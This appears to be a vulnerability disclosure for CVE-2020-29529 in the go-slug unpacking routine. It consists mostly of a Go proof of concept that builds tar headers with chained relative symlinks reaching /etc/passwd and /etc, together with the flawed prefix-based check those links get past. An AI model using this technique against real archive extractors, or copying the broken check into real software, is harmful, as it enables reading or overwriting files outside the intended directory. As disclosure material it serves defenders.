GHSL-2020-262: Unsafe handling of symbolic links in go-slug unpacking routine - CVE-2020-29529

package main

import (
  "archive/tar"
  "fmt"
  "os"
  "path/filepath"
  "strings"
)

func main() {
  var headers []tar.Header = make([]tar.Header, 3)
  headers[0].Name = "subdir/parent"
  headers[0].Linkname = ".."
  headers[0].Typeflag = tar.TypeSymlink

  headers[1].Name = "subdir/parent/passwd"
  headers[1].Linkname = "../../etc/passwd"
  headers[1].Typeflag = tar.TypeSymlink

  headers[2].Name = "subdir/parent/etc"
  headers[2].Linkname = "../../etc"
  headers[2].Typeflag = tar.TypeSymlink

  Unpack(headers, "/tmp/extracthere")
}

// Unpack is used to read and extract the contents of a slug to the dst
// directory. Symlinks within the slug are supported, provided their targets
// are relative and point to paths within the destination directory.
func Unpack(headers []tar.Header, dst string) error {

  // Unpackage all the contents into the directory.
  for _, header := range headers {

    // Get rid of absolute paths.
    path := header.Name
    if path[0] == '/' {
      path = path[1:]
    }
    path = filepath.Join(dst, path)

    // Make the directories to the path.
    dir := filepath.Dir(path)
    if err := os.MkdirAll(dir, 0755); err != nil {
      return fmt.Errorf("Failed to create directory %q: %v", dir, err)
    }

    // Handle symlinks.
    if header.Typeflag == tar.TypeSymlink {
      // Disallow absolute targets.
      if filepath.IsAbs(header.Linkname) {
        return fmt.Errorf("Invalid symlink (%q -> %q) has absolute target",
          header.Name, header.Linkname)
      }

      // Ensure the link target is within the destination directory. This
      // disallows providing symlinks to external files and directories.
      target := filepath.Join(dir, header.Linkname)
      if !strings.HasPrefix(target, dst) {
        return fmt.Errorf("Invalid symlink (%q -> %q) has external target",
          header.Name, header.Linkname)
      }

      // Create the symlink.
      if err := os.Symlink(header.Linkname, path); err != nil {
        return fmt.Errorf("Failed creating symlink (%q -> %q): %v",
          header.Name, header.Linkname, err)
      }

    }

  }
  return nil
}